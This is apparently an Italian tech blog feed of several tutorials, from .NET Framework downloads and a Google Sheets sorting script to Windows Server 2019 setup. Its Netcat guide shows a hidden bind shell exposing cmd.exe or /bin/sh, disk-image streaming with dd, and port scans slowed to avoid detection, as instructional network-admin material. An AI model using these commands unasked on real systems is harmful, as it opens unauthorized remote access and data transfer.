Il .NET Framework è un ambiente di esecuzione runtime della piattaforma .NET ed è costituito dal Common Language Runtime, che fornisce la gestione della memoria e altri servizi di sistema, e da un'ampia libreria di classi, che consente ai programmatori di sfruttare codice per tutte le aree principali dello sviluppo di applicazioni.
Nel corso del tempo il numero di versioni dei pacchetti .NET Framework disponibili per utenti e sviluppatori è andato moltiplicandosi. Ogni versione del framework offre funzioni e librerie specifiche e non è detto che una versione più recente sia retrocompatibile con quelle precedenti. Dunque un programma progettato per funzionare con una specifica versione di .NET Framework potrebbe non funzionare se sul sistema è installata una versione più aggiornata.
L'ultima versione del .NET Frameworkè parte integrante del sistema operativo Windows e viene aggiornata tramite Windows Update. Se si ha la necessità di installare una vecchia versione o una versione specifica del .NET Frameworkè possibile recuperarla tramite la pagina https://dotnet.microsoft.com/download/dotnet-framework.
Download versioni .NET Framework
FIG 1 - Download versioni .NET Framework


Per ciascuna versione di .NET Frameworkè possibile scaricare un installer web, un installer offline (che non necessita di connessione ad Internet durante l'installazione), pacchetti di traduzione dell'interfaccia e altri download accessori.





Introduzione a Netcat

$
0
0
Netcatè un programma open source a riga di comando in grado di inviare/ricevere dati su connessioni di rete utilizzando i protocolli TCP e UDP. Tale tool è molto versatile e consente di essere utilizzato in svariati contesti come port scanner, backdoor, port redirector/listener, trasferimento file, gestione remota di un sistema, debugging e controllo delle connessioni, ecc. Non è sempre la scelta migliore per tutte le occasioni ma per gli amministratori di rete o sicurezza è importante conoscere le potenzialità di tale strumento, utile soprattutto in caso di investigazione.

Il tool è incluso nella distribuzione Kali Linux molto utilizzata nell'ambito del penetration testing mentre in ambiente Windows va scaricato/installato a parte. Per visualizzare tutte le opzioni messe a disposizione da Netcat basta digitare il seguente comando da una finestra terminale
nc -help


NetCat, Sintassi e opzioni
FIG 1 - Netcat, Sintassi e opzioni

La sintassi del comando per la Connection modeè
nc [-options] hostname port[s] [ports]
mentre per la Listen mode la sintassi sarà simile a
nc -l -p port [-options] [hostname] [port]

Opzioni:
-c shell        simile all'opzione -e permette di specificare una shell da eseguire (ad es. /bin/sh)
-enomeFilepermette di specificare il programma da eseguire dopo la connessione (ad es. cmd.exe)
-bpermette il broadcast
-g gatewaysource-routing hop point[s], fino a 8
-Gnumsource-routing pointer: 4, 8, 12, ...
-hvisualizza help
-i secspermette di specificare il delay prima della scansione delle porte
-k                imposta l'opzione keepalive sul socket
-limposta modalità ascolto (listen mode)
-nforza Netcat a considerare solo l'indirizzo IP e a non interrogare server DNS
-ofiledump esadecimale del traffico
-pportspecifica la porta locale
-rimposta in modo casuale le porte locali e remote
-qsecsesce dopo end of file (EOF) su stdin e attende i secondi specificati
-saddrindirizzo risorsa locale
-T tosimposta il tipo di servizio (Type Of Service)
-tRisponde alle negoziazioni TELNET
-uUDP mode
-vverbose [-vv imposta un livello verboso più elevato]
-wsecsspecifica il timeout per connessioni e ricezione
-C invia CRLF come line-ending
-zzero-I/O mode [modalità utilizzata per lo scanning]



Come intuibile da quanto visualizzato dal help, Netcat può essere avviato in 2 modalità: Connection mode e Listen mode.

Connection mode
Netcat agisce in modalità client connettendosi ad un host remoto e collegando il suo stdin e stdout al flusso di dati inviato/ricevuto. In pratica Netcat si connette ad un server remoto permettendo l'invio/ricezione dei dati al/dal server e visualizzando sia i dati inviati che quelli ricevuti all'interno della stessa shell.
Il comando per avviare Netcat in tale modalità sarà simile a
nc [opzioni] hostname porte
Netcat permette anche di specificare più porte a cui connettersi. La connessione avverrà su una porta alla volta in maniera sequenziale (o in maniera random se specificata l'opzione -r).


Listen mode
Nella modalità Listen, Netcat rimane in ascolto sulla porta specificata dall'opzione -p in attesa della connessione da un client remoto. Dopo la connessione il comportamento di Netcat è analogo a quanto indicato per la Connection mode. Il comando per impostare Netcat in tale modalità avrà il seguente aspetto
nc -l -p porta [host_remoto] [Porte_host_remoto]
-l imposta la modalità in ascolto
-p specifica la porta su cui Netcat rimane in ascolto.
[host_remoto] permette di specificare l'IP o il nome dell'host che può connettersi
[Porte_host_remoto] permette di specificare da quali porte dell'host remoto deve provenire la connessione affinché venga accettata.
Netcat Listen mode
FIG 2 - Netcat Listen mode



Di seguito vengono riportati alcuni esempi di contesti dove può essere utile utilizzare Netcat.


Banner Grabbing
Il Banner Grabbingè una tecnica utilizzata per ottenere informazioni su un sistema informatico, sui servizi in esecuzione e sulle porte aperte.
Per verificare se una porta di un sistema remoto è aperta basta passare a Netcat l'indirizzo IP e la porta che si intende verificare. Ad es.
nc 192.168.1.25 21
il comando utilizzato nell'esempio effettua una verifica sulla porta 21, generalmente utilizzata dal protocollo FTP, della postazione con indirizzo IP 192.168.1.25 e, in alcuni casi, può fornire anche ulteriori informazioni come l'applicazione e relativa versione in ascolto sulla porta.
Per forzare la visualizzazione di maggiori informazioni possiamo utilizzare lo switch -v 
nc -v -n 192.168.1.25 21
-v visualizza un output verboso.
-n forza Netcat a considerare solo l'indirizzo IP indicato e a non interrogare server DNS per la risoluzione di nomi.


Port Scanning
Il Port Scanning consiste nel sondare una macchina remota al fine di individuare quali porte siano in ascolto. Un semplice Port Scanning può essere effettuato tramite il comando
nc -v -w 2 -z target 1-200
-v ci consente di avere un output verboso
-w specifica un timeout, in secondi, per l'attesa della connessione/risposta.
-z imposta I/O mode, modalità utilizzata per il Port Scanning.
target permette di specificare il nome del host remoto seguito dalla porta, o il range di porte, da scansionare. Nell'esempio verranno verificare tutte le porte comprese nell'intervallo specificato (da 1 a 200).

In alcuni casi può essere utile limitare la velocità di scansione delle porte al fine di non essere individuati/bloccati. Ciò è possibile tramite lo switch -i che permette di specificare un ritardo, espresso in secondi, tra una scansione di una porta e l'altra.
Anche se Netcat può essere utilizzato per il Port Scanning, non si tratta della scelta migliore. Un tool più adatto in questo campo è Nmap.


Chat tra 2 PC
Tramite Netcatè possibile stabilire una chat tra 2 host. Supponiamo di avere 2 PC:
PC1 con IP 192.168.1.20
PC2 con IP 192.168.1.21

La prima cosa da fare è mettere in ascolto uno dei 2 PC. Sul PC1 eseguiamo il comando.
nc -lvp 6655
-l imposta la modalità in ascolto.
-v imposta un'output verboso.
-p imposta la porta su cui Netcat rimane in ascolto. Nell'esempio è stata selezionata la porta 6655.

Dal PC2 stabiliamo la connessione con il PC1 tramite il comando
nc 192.168.1.20 6655
A Netcat viene passato l'indirizzo IP del PC remoto e la porta sulla quale questo è in ascolto.

Una volta che la connessione è stabilita, tutto quello che viene digitato nella finestra (sull'uno o sull'altro PC) viene visualizzata anche nella finestra del PC remoto.


Trasferimento file tra 2 PC
Supponiamo di voler trasferire un file di testo dal PC2 al PC1. Il primo passo consiste nel mettere il PC1 in ascolto su una data porta con il comando
nc –l –p 6655 > file_ricevuto.txt
il carattere > trasferisce tutto ciò che viene ricevuto sulla porta all'interno del file file_ricevuto.txt.

Sul PC2 prepariamo un file di testo con il contenuto da trasferire e rinominiamolo file_inviato.txt quindi eseguire il comando
nc 192.168.1.20 6655 <file_inviato.txt
per inviare il file al PC1
Il contenuto del file file_inviato.txt verrà inviato dal PC2 al PC1 e memorizzato da quest'ultimo all'interno del file file_ricevuto.txt.

Un alternativa consiste nell'utilizzare il comando cat e predisporre un file sul server che il client può scaricare.
Sul PC1, che fungerà da server, eseguire il comando
cat backup.iso | nc -l 6655

mentre sul PC2, per scaricare il file, possiamo eseguire il comando
nc 192.168.1.20 6655 > backup.iso

Per visualizzare graficamente il trasferimento del file è possibile aggiungere il comando pv come mostrato di seguito:
cat backup.iso | pv -b | nc -l 6655
nc 192.168.1.20 6655 | pv -b > backup.iso


Tramite il comando dd di Linux possiamo creare un'immagine di una partizione del disco e inviarla ad una macchina remota. Sul server/PC1 eseguiamo il comando
dd if=/dev/sdb | gzip -9 | nc -l 6655
Dal PC2 connettersi al server per il download dell'immagine con il comando
nc 192.168.1.20 6655 | pv -b > partitionImage.img.gz



Controllo remoto
Netcat può essere utilizzato anche per eseguire comandi su una postazione remota. Sul PC che si intende controllare digitare il comando
nc -L -p 6655 -d -e cmd.exe
in caso di PC con sistema operativo Windows oppure
nc -L -p 6655 -d -e  /bin/sh
in caso di postazione con sistema Linux.

-L imposta Netcat in modalità ascolto sulla porta specificata. La lettera maiuscola indica una modalità più avanzata rispetto allo switch -l e nel caso in cui il socket venga chiuso Netcat ripristina l'ascolto. 
-p specifica la porta su cui Netcat resta in ascolto.
-d indica la modalità stealth (la finestra non viene visualizzata).
-e permette di specificare che programma eseguire una volta che la connessione è avvenuta. Per la postazione con sistema operativo Windows verrà avviato il prompt dei comandi mentre in Linux verrà avviato una finestra terminale.

Per connettersi alla postazione in ascolto basta passare a Netcat l'indirizzo IP della workstation remota e relativa porta a cui connettersi
nc 192.168.1.20 6655



Tunnel SSH
Nella connessione tramite Netcat i dati vengono inviati in chiaro all'interno della rete. Per proteggere la comunicazione è opportuno cifrare i dati tramite l'utilizzo di un tunnel SSH in modo da criptare i dati trasmessi.

Usando un tunnel SSH si hanno due vantaggi:
- I dati sono trasferiti dentro un tunnel criptato, in questo modo saranno ben protetti;
- Non si avrà il bisogno di mantenere nessuna porta aperta nel firewall della macchina che agisce da server, dato che tutte le connessioni passeranno nel tunnel SSH.

Nell'esempio mostrato di seguito andremo a trasferire un file attraverso un tunnel SSH. E' scontato dire che sulla macchina che agisce da server deve essere presente un processo server SSH. Sulla macchina server eseguire il comando:
cat backup.iso | nc -l 3333


Sulla macchina client, il comando per connettersi al server attraverso un tunnel SSH e procedere al download del file sarà del tipo 
ssh -f -L <porta_locale>:<IP_locale>:<porta_remota> utente@<IP_remoto> sleep 10; nc <IP_locale> <porta_locale>
ad es.
ssh -f -L 23333:127.0.0.1:3333 utente@192.168.1.20 sleep 10; nc 127.0.0.1 23333 | pv -b > backup.iso

-f una volta stabilita la connessione la mette in background.
-L crea un tunnel connettendo una porta locale con un porta del host remoto.

Il tunnel SSH verrà chiuso automaticamente dopo la fine del trasferimento del file.







Fogli Google: Ordinare i fogli in ordine alfabetico

$
0
0
Nell'articolo MS Excel: Ordinare i fogli in ordine alfabetico è stato mostrato come, attraverso l'utilizzo di VBA (Visual Basic for Application) sia possibile ordinare i fogli di una cartella di lavoro di un documento MS ExcelGoogle Docs (Documenti Google) non supporta VBA (proprietario di Microsoft) ma utilizza Google Apps Script: un linguaggio di scripting basato su JavaScript che gira nella cloud. In questo articolo mostrerò come creare uno script all'interno di Fogli Google che consenta di ordinare i fogli presenti all'interno del documento.

I passi da seguire sono semplici:
  • Creare un nuovo foglio di lavoro o aprirne uno già esistente accedendo a Google Docs tramite la pagina https://docs.google.com/spreadsheets/u/0/;
    Fogli Google, creare un nuovo foglio di lavoro
    FIG 1 - Fogli Google, creare un nuovo foglio di lavoro
  • Dal menu Strumenti selezionare Editor di script;
    Google Docs, Editor di script
    FIG 2 - Google Docs, Editor di script
  • Cliccare su Progetto senza titolo quindi assegnare un nome al progetto e cliccare su OK;
    Google Docs, Nome Progetto
    FIG 3 - Google Docs, Nome Progetto
  • Copiare e incollare il seguente codice;
    function onOpen() {
    SpreadsheetApp.getUi().createMenu('Ordina Fogli')
    .addItem('Ordina dalla A alla Z', 'sortAtoZ')
    .addItem('Ordina dalla Z alla A', 'sortZtoA')
    .addItem('Ripristina ordine prec.', 'ripristina')
    .addToUi();
    }

    function sortAtoZ() {
    var ss = SpreadsheetApp.getActiveSpreadsheet(), old = [];
    ss.getSheets().map ( function (d) {
    var name = d.getName();
    old.push(name);
    return name;
    }).sort().reduce ( function (arr, e, j) {
    ss.setActiveSheet(ss.getSheetByName(e));
    ss.moveActiveSheet(j + 1);
    return arr;
    }, []);
    PropertiesService.getScriptProperties().setProperty('old', JSON.stringify(old));
    }

    function sortZtoA() {
    var ss = SpreadsheetApp.getActiveSpreadsheet(), old = [];
    ss.getSheets().map ( function (d) {
    var name = d.getName();
    old.push(name);
    return name;
    }).sort().reverse().reduce ( function (arr, e, j) {
    ss.setActiveSheet(ss.getSheetByName(e));
    ss.moveActiveSheet(j + 1);
    return arr;
    }, []);
    PropertiesService.getScriptProperties().setProperty('old', JSON.stringify(old));
    }

    function ripristina(range) {
    var ss = SpreadsheetApp.getActiveSpreadsheet();
    var range = JSON.parse(PropertiesService.getScriptProperties().getProperty('old'));
    range.reduce ( function (arr, e, j) {
    ss.setActiveSheet(ss.getSheetByName(e));
    ss.moveActiveSheet(j + 1);
    return arr;
    }, []);
    }
  • Cliccare sul pulsante che rappresenta un insetto per eseguire il debug e il salvataggio del progetto e seguire le istruzioni a video per autenticare/autorizzare lo script;
    Google Docs, script debug
    FIG 4 - Google Docs, script debug
  • Chiudere e riaprire il foglio di lavoro. Apparirà un nuovo menu Ordina Fogli che consentirà di ordinare i fogli in maniera crescente (dalla A alla Z), decrescente (dalla Z alla A) o ripristinare l'ordine precedente all'ultima modifica.
    Google Docs, nuovo menu Ordina Fogli
    FIG 5 - Google Docs, nuovo menu Ordina Fogli


Come visibile dallo script, i nomi dei fogli vengono considerati come stringhe, ciò significa che se i nomi sono numeri questi vengono ordinati considerando l'ordine alfabetico e non il loro valore numerico.

Dal seguente link è possibile scaricare un file di testo contenente il codice dello script
DOWNLOAD






Windows Quick Tip: Diventare proprietari di un file/directory tramite il menu contestuale

$
0
0
Può capitare che un file bloccato dal sistema non consenta l'accesso o la modifica neanche da parte dell'amministratore. In questi casi l'amministratore di sistema può ripristinare l'accesso diventando il proprietario del file. L'operazione può essere eseguita sia tramite GUI (tasto destro del mouse sul file, selezionare Proprietà quindi cliccare sulla scheda Sicurezza, pulsante Avanzate) sia tramite prompt dei comandi attraverso il comando takeown.
Windows 10, Modificare il proprietario di un file
FIG 1 - Windows 10, Modificare il proprietario di un file

Se ci troviamo spesso a dover acquisire la proprietà di un file o di una directory può essere utile aggiungere un'apposita voce all'interno del menu contestuale. Per farlo basta aggiungere le seguenti chiavi/valori al registro di sistema


Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT\*\shell\runas]
@="Diventa Proprietario"
"NoWorkingDirectory"=""

[HKEY_CLASSES_ROOT\*\shell\runas\command]
@="cmd.exe /c takeown /f \"%1\"&& icacls \"%1\" /grant administrators:F"
"IsolatedCommand"="cmd.exe /c takeown /f \"%1\"&& icacls \"%1\" /grant administrators:F"

[HKEY_CLASSES_ROOT\Directory\shell\runas]
@="Diventa Proprietario"
"NoWorkingDirectory"=""

[HKEY_CLASSES_ROOT\Directory\shell\runas\command]
@="cmd.exe /c takeown /f \"%1\" /r /d y && icacls \"%1\" /grant administrators:F /t"
"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" /r /d y && icacls \"%1\" /grant administrators:F /t"


Le chiavi di registro sopra indicate aggiungono la voce Diventa Proprietario al menu contestuale che appare quando si clicca con il tasto destro del mouse su un file o su una cartella. Selezionando tale opzione vengono eseguiti i comandi takeown e icacls che consentono all'amministratore del sistema di acquisire la proprietà del file o della cartella (compreso il suo contenuto) e disporre dei permessi full-access.


Windows, menu contestuale Diventa Proprietario
FIG 2 - Windows, menu contestuale Diventa Proprietario


Dal seguente link è possibile scaricare il file .reg che aggiunge al registro di sistema le chiavi/valori sopra riportati. Basta cliccare due volte sul file .reg per importarlo all'interno del registro di sistema (non è necessario riavviare il sistema per rendere effettive le modifiche).
DOWNLOAD





Emulatori interfaccia modem/router SOHO

$
0
0
Prima di acquistare un modem/router per la casa o per il piccolo ufficio può essere utile confrontare, oltre alle caratteristiche hardware, anche il software e l'interfaccia utilizzata per l'amministrazione dell'apparato. Ciò consentirebbe di farsi un'idea sulle impostazioni e funzioni messe a disposizione dal dispositivo permettendo di verificare, prima dell'acquisto, se una funzione particolare di nostro interesse sia presente o meno. Tramite la pagina https://highspeed.tips/routerssi può accedere ad un elenco di simulatori di diversi modelli di router alcuni dei quali messi a disposizione direttamente dall'azienda produttrice. Generalmente basta cliccare sul link del modello desiderato e specificare, se richiesto, le credenziali consigliate per accedere all'interfaccia di configurazione del dispositivo. Per alcuni produttori, tra cui TP-Link, Belkin e Linksys, i link rimandano direttamente ai simulatori ufficiali forniti dalle aziende. Sul sito sono presenti anche i link relativi ad altri dispositivi come modem DSL e adattatori VOIP.


HighSpeed.Tips
FIG 1 - HighSpeed.Tips
Emulatore Asus RT-AX88U
FIG 2 - Emulatore Asus RT-AX88U




Google Chrome: Inviare link ai dispositivi

$
0
0
Gli utenti Chrome che hanno completato l'autenticazione con l'account Google e hanno abilitato la funzione di sincronizzazione automatica implementata nel browser possono inviare un link ai propri dispositivi. Per farlo basta cliccare su un link o sulla barra degli indirizzi di Chrome con il tasto destro del mouse e selezionare il dispositivo di destinazione nell'elenco Invia ai tuoi dispositivi. Dopo qualche istante sul dispositivo di destinazione verrà mostrato un avviso che consentirà di aprire il link inviato. Il trasferimento sul dispositivo di destinazione non viene notificato dal tradizionale strumento di gestione delle notifiche ma è necessario aprire il browser per visualizzare e aprire il collegamento condiviso.





Windows Server 2019: Installazione

$
0
0
Windows Server 2019 rappresenta, al momento, l’ultima versione del sistema operativo server di casa Microsoft. Tra le novità introdotte da questo sistema operativo troviamo la possibilità di estendere più facilmente il datacenter verso Azure realizzando ambienti ibridi pur mantenendo un elevato livello di sicurezza ed efficienza. Prima di mostrare i passaggi relativi all'installazione di Windows Server 2019è doveroso fare una piccola introduzione e approfondire le versioni e le licenze disponibili del sistema operativo.


Versioni del sistema operativo

Da diversi anni la GUI (Graphical User Interface) dei sistemi operativi server di Microsoft si rifà a quello delle versioni client: Windows Server 2008 R2 si rifà al look di Windows 7 mentre in Windows Server 2012 l'utente ritrova lo stesso feeling presente in Windows 8. Nelle versioni Windows Server 2016 e Windows Server 2019, invece, troviamo lo stesso aspetto di Windows 10.
Windows Server 2019è disponibile in due versioni principali: Standard e Datacenter. La versione Standardè utilizzata prevalentemente per server fisici o in ambienti con un numero limitato di sistemi virtualizzati mentre la versione Datacenter è ideale per ambienti cloud e per datacenter con un’alta densità di virtualizzazione. Esiste anche una versione Essentials ideata per ambienti small business fino a 25 utenti e 50 dispositivi. 

Nella seguente tabella vengono evidenziate le differenze, in termini di funzionalità, tra la versione Standard e quella Datacenter

FunzionalitàStandardDatacenter
Funzionalità core di Windows Server
Si
Si
Integrazione ibrida
Si
Si
Infrastruttura iperconvergente
No
Si
OSE/Container Hyper-V
2 OSE o VM
Senza limiti
Container di Windows Server
Senza limiti
Senza limiti
Servizio Sorveglianza host
SiSi
Replica dello storage
Limitato a un solo volume, per un massimo di 2 TBSi
Macchine virtuali schermate (VM)
NoSi
Soluzioni di rete basata sul software
NoSi
Storage basato sul software
NoSi


Per maggiori dettagli sulle differenze tra le due versioni è possibile consultare l'apposita pagina dal sito Microsoft.



Modelli di licenza/supporto e release

Un'altra decisione da prendere prima di installare Windows Serverè quella relativa al  modello di licenza/supporto e alla frequenza del rilascio di nuove release. Ci sono due modelli tra cui scegliere: Semi-Annual Channel (SAC) e Long-Term Servicing Channel (LTSC).

Semi-Annual Channel (SAC)
  • E' previsto il rilascio di due major release all'anno, generalmente in primavera e in autunno. Le release prevedono risoluzione di problematiche, nuove funzionalità e miglioramenti.
  • Le versioni vengono identificare da un numero a quattro cifre (due per l'anno e due per il mese). Ad es. Windows Server versione 1909;
  • Per ciascun rilascio è previsto un supporto di 18 mesi a partire dalla data di pubblicazione;
  • Al Semi-Annual Channel possono aderire solo i clienti Microsoft che dispongono di un contratto di Software Assurance oppure clienti che utilizzano ambienti cloud;


Long-Term Servicing Channel (LTSC)
  • Una nuova major version viene rilasciata approssimativamente ogni tre anni;
  • Sono inclusi cinque anni di mainstream support e ulteriori cinque anni di extended support;
  • E' indipendente dal modello di licensing scelto dal cliente e non è richiesta la Software Assurance.



Opzioni di Installazione di Windows Server 2019

Windows Server 2019 può essere installato in due modalità: Server Core o Desktop Experience.

Server Core
E' la modalità di installazione proposta di default ed è caratterizzata dall'assenza dell'interfaccia grafica (Desktop Experience). Tale modalità, oltre a rendere il sistema più veloce ed efficiente, lo rende anche più sicuro dato che non carica codice extra (che potrebbe contenere vulnerabilità) e non consuma risorse nel visualizzare la GUI. L'iterazione/amministrazione del sistema può avvenire sia tramite riga di comando con PowerShell sia da remoto tramite Windows Admin Center.

Desktop Experience
In tale modalità viene installata la nota interfaccia grafica di Windows. Chi già conosce Windows 10 non avrà alcun problema a districarsi nell'interfaccia di Windows Server 2019. Generalmente viene scelta tale modalità per casi specifici o per una questione di compatibilità applicativa per cui viene richiesta la Desktop Experience. Rispetto alla modalità Server Core questo tipo di installazione prevede alcuni svantaggi come la richiesta di maggiore spazio su disco, minore efficienza del sistema, tempi di deployment superiori ed è più soggetta a vulnerabilità.

La decisione su quale versione del sistema installare va ponderata con attenzione. In Windows Server 2012 R2 era possibile aggiungere/rimuovere l'interfaccia grafica ma a partire da Windows Server 2016 tale possibilità è stata rimossa.


Preparazione supporto di installazione

Una volta procurataci l'immagine ISO di Windows Server 2019 dobbiamo procedere alla creazione del supporto necessario per l'installazione su una macchina fisica. Se disponiamo di un masterizzatore è possibile masterizzare l'immagine su un supporto DVD cliccando sull'immagine con il tasto destro del mouse e selezionando Masterizza immagine disco o utilizzando, in alternativa, uno dei tanti programmi di masterizzazione come ad es Nero Burning Rom, ImgBurn, Windows 7 usb/dvd download tool, ecc. Windows 7 usb/dvd download tool (scaricabile da https://www.microsoft.com/it-it/download/details.aspx?id=56485 ) può essere utilizzato anche per creare una pendrive bootable con l'immagine ISO, in alternativa è possibile utilizzare anche altri tool equivalenti come ad es. Rufus
Prima di partire assicuriamoci di procurarci tutti i driver relativi all'hardware su cui andremo a installare il sistema operativo Windows Server.



Installazione Windows Server 2019

Dopo questa breve introduzione vediamo come installare Windows Server 2019. In questo articolo verrà mostrato come installare la versione Datacenter con la Desktop Experience. I passaggi sono molto semplici e l'installazione è molto veloce e simile a quella di Windows 10.
  • Avviare il sistema con il supporto di installazione preparato in precedenza;
  • La prima schermata che appare è quella mostrata in FIG 1 dove viene richiesto di specificare la Lingua da installare, Formato ora e valuta e il Layout della tastiera. Generalmente sono già selezionate le opzioni che fanno al caso nostro, in caso contrario basta selezionare l'opzione desiderata dai menu a tendina e cliccare su Avanti per proseguire nell'installazione.
    Windows Server 2019, Selezione lingua
    FIG 1 - Windows Server 2019, Selezione lingua
  • Nella schermata successiva abbiamo il pulsante Installa ben in evidenza al centro della schermata e il link Ripristina il computer in basso a sinistra. Quest'ultimo può essere utilizzato per riparare un installazione precedente danneggiata. Dato che nel nostro caso stiamo procedendo ad una nuova installazione, cliccare sul pulsante Installa per proseguire.
    Windows Server 2019, Installa
    FIG 2 - Windows Server 2019, Installa
  • Windows Server 2019 può essere installato in quattro diverse versioni: versione Standard, versione Standard con Desktop Experience, versione Datacenter e versione Datacenter con Desktop Experience. Le versioni Desktop Experience (esperienza desktop) sono dotate di interfaccia grafica (GUI) simile a quella che già conosciamo in Windows 10. Le altre versioni, invece, installano solo il sistema operativo senza alcuna interfaccia grafica e sono conosciute come versioni Core. Selezionare la versione di Windows Server 2019 che si desidera installare. Nel nostro caso selezioniamo la versione Windows Server 2019 Datacenter dotato della Desktop Experience e clicchiamo su Avanti.
    Windows Server 2019, Seleziona versione sistema operativo da installare
    FIG 3 - Windows Server 2019, Seleziona versione sistema operativo da installare
  • Accettare i termini di licenza mettendo un flag sull'apposita casella (Accetto le condizioni di licenza) e cliccare su Avanti;
    Windows Server 2019, Condizioni di licenza
    FIG 4 - Windows Server 2019, Condizioni di licenza
  • A questo punto vengono proposte due scelte sul tipo di installazione desiderato. La prima consente di aggiornare una versione esistente di Windows Server mantenendo i file personali, le impostazioni e le applicazioni installate. La seconda opzione consente una nuova installazione di Windows. Trattandosi di una nuova installazione di Windows Server 2019, selezionare l'opzione Personalizzata: installa solo Windows (opzione avanzata).
    Windows Server 2019, Tipo di installazione
    FIG 5 - Windows Server 2019, Tipo di installazione
  • Il passo successivo consiste nel predisporre/selezionare il disco e la partizione in cui Windows Server 2019 verrà installato. In questo caso, trattandosi di nuova installazione e disponendo di un disco dedicato al sistema operativo, non abbiamo particolari esigenze sull'impostazione di partizioni di dimensioni personalizzate. Selezionare Spazio non allocato e cliccare su Avanti per lasciare alla procedura guidata di installazione il compito della creazione delle partizioni.
  • Se il server utilizza un firmware UEFI verranno create tre partizioni:
  1. Partizione di Ripristino (Recovery partition). La partizione è di circa 500MB e contiene i tool per il ripristino di Windows Server 2019. Se il sistema operativo non riesce ad avviarsi, il server si avvia utilizzando tale partizione consentendo l'utilizzo dei tool per tentare il ripristino.
  2. Partizione di sistema EFI (EFI system partition). La partizione è di circa 100MB e contiene i file necessari al processo di avvio di Windows Server 2019.
  3. Partizione di Boot (Boot partition). La partizione occupa il restante spazio su disco e contiene i file del sistema operativo e il file di paging.
Se il server utilizza il firmware BIOS verranno create solo due partizioni:
  1. Partizione di sistema (System partition) di circa 500MB contenente i tool di recovery e i file necessari al boot del sistema operativo. 
  2. Partizione di Boot (Boot partition) che occupa il restante spazio del disco e contiene i file di Windows Server 2019 e il file di paging.

Windows Server 2019, Selezione partizione per l' installazione
FIG 6 - Windows Server 2019, Selezione partizione per l' installazione
  • A questo punto la procedure inizierà a copiare i file su disco e ad installare il sistema operativo e le sue funzionalità. Al termine dell'operazione il sistema verrà riavviato e verrà caricato il nuovo sistema operativo.
    Windows Server 2019, Avvio copia file e installazione del sistema operativo
    FIG 7 - Windows Server 2019, Avvio copia file e installazione del sistema operativo


Primo avvio e accesso al sistema

  • Al primo avvio viene richiesto di inserire e confermare la password per l'utente Administrator. Digitare una password complessa contenente lettere maiuscole/minuscole, numeri e qualche carattere speciale (opzionale) altrimenti non verrà accettata (si veda FIG 9). Inserire due volte la password desiderata e cliccare su Fine.
    Windows Server 2019, Primo avvio e impostazione password per account Administrator
    FIG 8 - Windows Server 2019, Primo avvio e impostazione password per account Administrator

    Windows Server 2019, Password Administrator non accettata in quanto non rispetta i requisiti
    FIG 9 - Windows Server 2019, Password Administrator non accettata in quanto non rispetta i requisiti
  • Dopo qualche secondo apparirà la schermata di blocco in cui si invita l'utente a premere la combinazione CTRL+ALT+CANC per eseguire il logon. Premere la combinazione di tasti indicata.
    Window Server 2019, Schermata di blocco
    FIG 10 - Window Server 2019, Schermata di blocco
  • Nella schermata di logon inserire la password per l'utente Administrator e premere invio per eseguire l'accesso al sistema;
    Windows Server 2019, Schermata di logon
    FIG 11 - Windows Server 2019, Schermata di logon
  • Dopo qualche secondo veniamo accolti da un messaggio che ci invita ad utilizzare Windows Admin Center (FIG 12),un'app basata su browser che consente la gestione dei server all'interno dell'infrastruttura. Chiusa la finestra del messaggio ci troveremo davanti alla finestra di Server Manager (FIG 13).
    Windows Server 2019, Suggerimento utilizzo Windows Admin Center
    FIG 12 - Windows Server 2019, Suggerimento utilizzo Windows Admin Center

    Windows Server 2019, Dashboard Server Manager
    FIG 13 - Windows Server 2019, Dashboard Server Manager


L'installazione del sistema operativo può ritenersi conclusa. Questo è il primo di una serie di articoli dedicati a Windows Server 2019. Nei prossimi articoli verrà mostrato come creare un dominio, unità organizzative, gestire utenti/computer e come creare le policy.





Windows Server 2019: Impostazione IP statico e nome Server

$
0
0
Nell'articolo Windows Server 2019: Installazione abbiamo visto come installare Windows Server 2019. Prima di passare ad argomenti più interessanti dobbiamo procedere con alcune configurazioni basilari per il nostro sistema. Dato che si tratta dell'installazione del primo server e che non esistono server DHCP (Dynamic Host Configuration Protocol) che forniscono l'indirizzo IP alla nostra macchina, in quest'articolo vedremo come impostare un'indirizzo IP statico e assegnare al server un nome in modo da riconoscerlo all'interno della rete.


Assegnazione IPv4 statico

  • Nella finestra principale di Server Manager cliccare su Server locale;
  • Cliccare sul link Indirizzo IPv4 assegnato da DHCP, Abilitata per IPv6 relativo ad Ethernet0;
    Windows Server 2019, Server Manager, impostazione indirizzo IP
    FIG 1 - Windows Server 2019, Server Manager, impostazione indirizzo IP
  • Nella finestra successiva cliccare, con il tasto destro del mouse, sulla connessione di rete a cui si intende assegnare un IP statico e selezionare Proprietà dal menu contestuale;
    Windows Server 2019, Proprietà connessione di rete
    FIG 2 - Windows Server 2019, Proprietà connessione di rete
  • Dall'elenco selezionare Protocollo Internet versione 4 e cliccare sul tasto Proprietà;
    Windows Server 2019, Proprietà Protocollo Internet versione 4
    FIG 3 - Windows Server 2019, Proprietà Protocollo Internet versione 4
  • Selezionare l'opzione Utilizza il seguente indirizzo IP quindi, nella casella Indirizzo IP, inserire l'indirizzo IP da assegnare (ad es. 192.168.1.121);
  • Passando alla casella Subnet Mask, questa viene automaticamente compilata con 255.255.255.0. In questa guida verrà lasciato il valore suggerito.
    Windows Server 2019, Impostazione IP statico
    FIG 4 - Windows Server 2019, Impostazione IP statico
  • Al momento non ci interessa specificare alcun Gateway predefinito o Server DNS. Cliccare su OK e quindi sul pulsante Chiudi;
  • All'interno della finestra Server Manager premere il tasto F5 per aggiornare le informazioni visualizzate con l'indirizzo IP appena modificato.
    Server Manager, visualizzazione IP aggiornato
    FIG 5 - Server Manager, visualizzazione IP aggiornato



Modificare il nome del Server


  • Nella finestra principale di Server Manager cliccare su Server locale;
  • Cliccare sul link relativo al Nome computer;
    Windows Server 2019, Nome computer
    FIG 6 - Windows Server 2019, Nome computer
  • Nella finestra Proprietà del sistema cliccare sul pulsante Cambia;
    Windows Server 2019, Cambia nome computer
    FIG 7 - Windows Server 2019, Cambia nome computer
  • Nella casella Nome computer digitare il nuovo nome da assegnare al Server (ad es. Server1DC) e cliccare su OK;
    Windows Server 2019, Nuovo nome computer
    FIG 8 - Windows Server 2019, Nuovo nome computer
  • Apparirà un messaggio che ci informa che è necessario riavviare il sistema per rendere effettive le modifiche. Cliccare su OK quindi chiudere la finestra Proprietà del sistema cliccando sul pulsante Chiudi.
    Windows Server 2019, Richiesta di riavvio a seguito cambio nome
